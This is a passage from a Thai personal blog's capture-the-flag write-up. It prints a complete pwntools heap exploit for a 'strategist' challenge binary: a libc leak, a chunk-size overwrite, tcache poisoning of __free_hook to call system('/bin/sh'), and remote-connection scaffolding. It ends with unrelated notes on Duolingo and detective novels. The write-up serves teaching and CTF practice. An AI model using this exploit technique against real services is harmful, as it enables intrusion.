<li><p>ใช้ <code>delete_plan</code> เพื่อ free chunk ที่ 7 ทำให้ไปเรียก <code>free_hook</code> ที่ถูกแทนด้วย <code>system</code></p>
</li>
</ol>
<p><strong>แค่ 8 ข้อนี้ก็เรียก</strong> <code>system(“/bin/sh”)</code> <strong>ได้แล้ว GGEZ ครัฟ ‘jkpdHgsuhp]tlyl c,j’’,vpjk’oko</strong></p>
<p><img src="https://i.imgflip.com/9pdz55.jpg" alt class="image--center mx-auto" /></p>
<p><strong>Full Exploit</strong></p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>

<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

exe = ELF(<span class="hljs-string">"strategist"</span>)
libc = ELF(<span class="hljs-string">"glibc/libc.so.6"</span>)

context.binary = exe
context.log_level = <span class="hljs-string">"DEBUG"</span>
context.terminal = [<span class="hljs-string">'tmux'</span>, <span class="hljs-string">'splitw'</span>, <span class="hljs-string">'-h'</span>]


<span class="hljs-comment"># Shortcut</span>
ru          = <span class="hljs-keyword">lambda</span> a:         p.readuntil(a)
r           = <span class="hljs-keyword">lambda</span> n:         p.read(n)
rl           = <span class="hljs-keyword">lambda</span> :         p.recvline()
sla         = <span class="hljs-keyword">lambda</span> a,b:       p.sendlineafter(a,b)
sa          = <span class="hljs-keyword">lambda</span> a,b:       p.sendafter(a,b)
sl          = <span class="hljs-keyword">lambda</span> a:         p.sendline(a)
s           = <span class="hljs-keyword">lambda</span> a:         p.send(a)


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">conn</span>():</span>
    <span class="hljs-keyword">if</span> args.LOCAL:
        p = process([exe.path])
    <span class="hljs-keyword">elif</span> args.GDB:
        p = process([exe.path])
        gdb.attach(p, gdbscript=<span class="hljs-string">"b *main"</span>)
    <span class="hljs-keyword">else</span>:
        target = <span class="hljs-string">"X:1"</span>
        target = target.split(<span class="hljs-string">":"</span>)
        p = remote(target[<span class="hljs-number">0</span>],target[<span class="hljs-number">1</span>])

    <span class="hljs-keyword">return</span> p

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">create</span>(<span class="hljs-params">size,buf</span>):</span>
    sla(<span class="hljs-string">b"&gt;"</span>, <span class="hljs-string">b"1"</span>)
    sla(<span class="hljs-string">b"&gt;"</span>, str(size).encode())
    sa(<span class="hljs-string">b"&gt;"</span>, buf)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">edit</span>(<span class="hljs-params">idx, buf</span>):</span>
    sla(<span class="hljs-string">b"&gt;"</span>, <span class="hljs-string">b"3"</span>)
    sla(<span class="hljs-string">b"&gt;"</span>, str(idx).encode())
    sa(<span class="hljs-string">b"&gt;"</span>, buf)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">show</span>(<span class="hljs-params">idx</span>):</span>
    sla(<span class="hljs-string">b"&gt;"</span>,<span class="hljs-string">b"2"</span>)
    sla(<span class="hljs-string">b"&gt;"</span>, str(idx).encode())
    ru(<span class="hljs-string">b"]:"</span>)
    ru(<span class="hljs-string">b"]:"</span>)
    rl()
    <span class="hljs-keyword">return</span> rl()

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">leak_libc</span>(<span class="hljs-params">idx</span>):</span>
    sla(<span class="hljs-string">b"&gt;"</span>,<span class="hljs-string">b"2"</span>)
    sla(<span class="hljs-string">b"&gt;"</span>, str(idx).encode())
    ru(<span class="hljs-string">b"]:"</span>)
    ru(<span class="hljs-string">b"]:"</span>)
    rl()
    <span class="hljs-keyword">return</span> r(<span class="hljs-number">6</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">delete</span>(<span class="hljs-params">idx</span>):</span>
    sla(<span class="hljs-string">b"&gt;"</span>, <span class="hljs-string">b"4"</span>)
    sla(<span class="hljs-string">b"&gt;"</span>, str(idx).encode())

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    <span class="hljs-keyword">global</span> p
    p = conn()

    <span class="hljs-comment"># good luck pwning :)</span>

    <span class="hljs-comment"># leak libc address </span>
    create(<span class="hljs-number">0x500</span>, <span class="hljs-string">b"a"</span>*<span class="hljs-number">0x500</span>)   <span class="hljs-comment"># chunk 0</span>
    create(<span class="hljs-number">0x10</span>, <span class="hljs-string">b"a"</span>*<span class="hljs-number">0x10</span>)     <span class="hljs-comment"># chunk 1</span>
    delete(<span class="hljs-number">0</span>) <span class="hljs-comment"># unsorted bin</span>
    buf = <span class="hljs-string">b"A"</span>*<span class="hljs-number">7</span>+<span class="hljs-string">b"\n"</span>
    create(<span class="hljs-number">0x500</span>, buf)          <span class="hljs-comment"># chunk 0</span>
    leak = leak_libc(<span class="hljs-number">0</span>)
    leak = u64(leak.ljust(<span class="hljs-number">8</span>, <span class="hljs-string">b"\x00"</span>))
    libc.address = leak - <span class="hljs-number">4111520</span>
    <span class="hljs-string">"""
    0x4f3ce execve("/bin/sh", rsp+0x40, environ)
        constraints:
        address rsp+0x50 is writable
        rsp &amp; 0xf == 0
        rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

    0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
        constraints:
        address rsp+0x50 is writable
        rsp &amp; 0xf == 0
        rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

    0x4f432 execve("/bin/sh", rsp+0x40, environ)
        constraints:
        [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

    0x10a41c execve("/bin/sh", rsp+0x70, environ)
        constraints:
        [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv


    """</span>
    one_gadget = libc.address +<span class="hljs-number">0x4f3d5</span> <span class="hljs-comment"># it didn't work LOL</span>
    free_hook = libc.sym[<span class="hljs-string">'__free_hook'</span>]
    print(<span class="hljs-string">f"leak: <span class="hljs-subst">{hex(leak)}</span>"</span>)
    print(<span class="hljs-string">f"libc addr: <span class="hljs-subst">{hex(libc.address)}</span>"</span>)
    print(<span class="hljs-string">f"free_hook addr: <span class="hljs-subst">{hex(free_hook)}</span>"</span>)
    print(<span class="hljs-string">f"one_gadget addr: <span class="hljs-subst">{hex(one_gadget)}</span>"</span>)


    <span class="hljs-comment"># create fake chunk</span>
    fake = <span class="hljs-string">b""</span>
    fake += p64(<span class="hljs-number">0</span>) <span class="hljs-comment"># prev_size</span>
    create(<span class="hljs-number">0x28</span>, <span class="hljs-string">b"2"</span>*<span class="hljs-number">0x28</span>)     <span class="hljs-comment"># chunk 2</span>
    create(<span class="hljs-number">0x500</span><span class="hljs-number">-8</span>, <span class="hljs-string">b"3"</span>*(<span class="hljs-number">0x500</span><span class="hljs-number">-8</span>))   <span class="hljs-comment"># chunk 3</span>
    create(<span class="hljs-number">0x80</span><span class="hljs-number">-8</span>, <span class="hljs-string">b"4"</span>*(<span class="hljs-number">0x80</span><span class="hljs-number">-8</span>))     <span class="hljs-comment"># chunk 4</span>

    <span class="hljs-comment"># edit chunk 2 to overwrite chunk 3 size</span>
    buf = <span class="hljs-string">b"2"</span>*<span class="hljs-number">0x28</span>
    buf += <span class="hljs-string">b"\x81\x05"</span>
    delete(<span class="hljs-number">3</span>) <span class="hljs-comment"># free chunk 3</span>
    delete(<span class="hljs-number">4</span>) <span class="hljs-comment"># free chunk 4</span>
    edit(<span class="hljs-number">2</span>, buf)

    <span class="hljs-comment"># overwrite tcache ptr</span>
    buf = flat({<span class="hljs-number">0x500</span>:p64(free_hook)})
    create(<span class="hljs-number">0x580</span><span class="hljs-number">-8</span>, buf + <span class="hljs-string">b"\n"</span>)   <span class="hljs-comment"># chunk 3</span>
    create(<span class="hljs-number">120</span>, <span class="hljs-string">b"\n"</span>) <span class="hljs-comment"># chunk 4</span>
    <span class="hljs-comment"># overwrite free_hook</span>
    create(<span class="hljs-number">120</span>, p64(libc.sym[<span class="hljs-string">'system'</span>])) <span class="hljs-comment"># chunk 5</span>
    <span class="hljs-comment"># no more one gadget</span>
    create(<span class="hljs-number">0x20</span>, <span class="hljs-string">"/bin/sh\x00\n"</span>) <span class="hljs-comment"># chunk 6</span>
    delete(<span class="hljs-number">6</span>)


    p.interactive()


<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    main()
</code></pre>
<p>ถ้าอ่านจนถึงตอนนี้คืออ่านมาไกลมาก จะเห็นว่าจริง ๆ ยังไม่ครบขาดอีกข้อนึง ตอนแข่งผมทำไม่ทันเหมือนกัน เสียดายไม่งั้นเคลียร์ทุกข้อแล้ว ใครสนใจลองไปทำดูนะครับ ผมว่าไม่ยากมากแล้วอย่าลืมเอามาเขียนแชร์กันบ้าง :D</p>
<hr />
<h2 id="heading-touch-some-grass">Touch Some Grass🌲</h2>
<p>ช่วงนี้หาอย่างอื่นนอกจากนั่งอยู่หน้าคอมบ้างเลยแว้บ ๆ ไปเรียนภาษาเห็นคนเค้าเล่น Duolingo กันเลยไปลองบ้าง อยากมีเก็บไฟไปโชว์ตอนสิ้นปีเหมือนคนอื่นเค้า แต่ ณ วันที่เขียน blog นี้น้องตายไปจะครบ 2 วีคละอ่ะ GG</p>
<p><img src="https://scontent.fbkk13-3.fna.fbcdn.net/v/t1.15752-9/486730213_1004869208255423_7667531559416143579_n.jpg?_nc_cat=110&amp;ccb=1-7&amp;_nc_sid=9f807c&amp;_nc_ohc=4J3a3Bj075sQ7kNvgFIO_F_&amp;_nc_oc=AdmoOm6RqVBpa9NYO87bUKqqfLZAUTXhG47pVxKNUdHGBD5LhAjUjSxj1hD5n7amitw&amp;_nc_zt=23&amp;_nc_ht=scontent.fbkk13-3.fna&amp;oh=03_Q7cD1wHT5mA_rSiZlAbgbHHbKVHz-mz9-dmWsEX-YNb8OtJAKg&amp;oe=6813A302" alt="No description available." class="image--center mx-auto" /></p>
<p>ส่วนตัวคิดว่า Duolingo ไม่ได้เหมาะกับคนที่ไม่มีพื้นฐานภาษานั้นเลย อย่างน้อยควรจำตัวอักษรได้ทั้งหมดก่อนมาเรียน น่าจะสนุกว่ามานับ 0 เดี้ยวจะกลับไปคัดตัวอักษรจะกลับมาเก็บไฟกับน้องต่อนะ</p>
<p>อีกอย่างที่ได้ทำในช่วงนี้คืออ่านหนังสือ(แน่นอนว่า fiction ล้วน) ได้ลองเริ่มอ่าน “กาสักอังฆาต” เป็น fiction ในหมวดสืบสวนสอบสวนเล่มแรกที่ได้อ่าน ที่เลือกเล่มนี้เพราะบูทที่งานหนังสือมีโปรครบ 1000 บาทได้ของแถม LOL</p>
<p><img src="https://scontent.fbkk13-3.fna.fbcdn.net/v/t1.15752-9/486064216_1199626124364700_4772893789277351176_n.jpg?_nc_cat=110&amp;ccb=1-7&amp;_nc_sid=9f807c&amp;_nc_ohc=b2wHgtECEXwQ7kNvgG4VVxp&amp;_nc_oc=Adnb3Ed6nYffrqzxbLrKTly1i6g_UgstQORTimfH4xKYTgBT2evLziGicoYaMklcJvc&amp;_nc_zt=23&amp;_nc_ht=scontent.fbkk13-3.fna&amp;oh=03_Q7cD1wEVU44-jtdsoXYS9OraT817ThnLF9PX3so5zo6ujFsX_A&amp;oe=68139759" alt="No description available." /></p>
<p>เคยอ่านรีวิวมาคร่าว ๆ มีคนบอกว่าอ่านง่ายเหมาะกับมือใหม่ หลังจากอ่านจบก็พบว่าอ่านง่ายจริงเลยไปซื้ออีก 2 เล่มมา ก็อ่านจบภายในวันเดียว(อ่านข้าม ๆ เน้นรู้เรื่องไม่เน้นซึมซับ lol) ใครอยากลองเปิดใจให้กับหมวดสืบสวนสอบสวนลองเล่มนี้ดูครับ</p>
]]></content:encoded></item></channel></rss>